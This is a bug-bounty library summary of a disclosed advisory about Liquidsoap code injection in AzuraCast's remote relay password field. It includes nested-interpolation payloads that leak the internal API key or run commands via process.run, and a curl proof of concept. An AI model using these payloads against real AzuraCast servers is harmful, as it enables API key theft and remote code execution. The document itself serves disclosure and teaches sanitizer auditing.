# AzuraCast Vulnerable to Liquidsoap Code Injection via Incomplete cleanUpString-to-toRawString Migration in Remote Relay Password Field

Ungreedy regex in AzuraCast's cleanUpString() is bypassed with nested #{#{EXPR}} in the remote relay password, injecting Liquidsoap code for RCE and API key theft.

- Payout: Research
- Severity: high
- Program: AzuraCast
- Found by: offset
- Disclosed: 2026-05-04
- Write-up quality: 8/10
- Original: https://github.com/advisories/GHSA-q4ph-8x8g-95f8
- Library page: https://bugbountylibrary.com/r/ghsa%3AGHSA-q4ph-8x8g-95f8
- Tags: area:web domain:web impact:internal-access impact:rce kind:research platform:ghsa sev:high tech:php technique:incomplete-fix technique:source-review vuln:command-injection vuln:privilege-escalation vuln:rce vuln:secrets-leak

**Target:** Liquidsoap config writer / remote relay password field (PUT /api/station/{id}/remote/{id})
**Root cause:** cleanUpString() uses an ungreedy /#{(.*)}/U regex that stops at the first '}', so nested #{#{EXPR}} collapses back into a valid #{EXPR} interpolation. The password field was left on cleanUpString() while other fields migrated to non-interpolating toRawString().
**Steps:**
1. Authenticate with a user holding the RemoteRelays station permission.
2. Send `PUT /api/station/1/remote/1` with body `{"source_password": "#{#{settings.azuracast.api_key()}}"}`.
3. cleanUpString() strips the inner match leaving `#{settings.azuracast.api_key()}`, embedded in a double-quoted Liquidsoap string.
4. Restart the station or change any setting to regenerate the Liquidsoap config.
5. For RCE, use `#{#{process.run(string.char(105)^string.char(100))}}` to execute `id` without double quotes.
**How found:** Reporter noticed the ungreedy /U flag makes .* stop at the first '}', hypothesized nested interpolation would survive sanitization, and confirmed the incomplete migration in commit ff49ef4 left the password field on cleanUpString().
**Exploitation:** Attacker with RemoteRelays permission sets a crafted source_password; on config regeneration Liquidsoap evaluates the interpolation. API key variant leaks the internal key to an attacker-controlled relay endpoint; process.run() variant executes arbitrary commands in the Liquidsoap container.
**Escalation:** Low-privilege station permission escalates to internal API key disclosure (full internal API access) and container-level RCE.
**Insight:** When a sanitizer uses ungreedy regex to strip delimited expressions, test nested delimiters (#{#{X}}) — the inner match removal can reconstruct a valid expression. Also audit partial migrations: grep for remaining callers of a deprecated sanitizer after a security refactor.

## Proof of concept (copied exactly from the original report)

**API key disclosure payload via nested interpolation**

```
curl -X PUT "http://azuracast.local/api/station/1/remote/1" \
  -H "X-API-Key: $API_KEY" \
  -H "Content-Type: application/json" \
  -d '{"source_password": "#{#{settings.azuracast.api_key()}}"}'
```

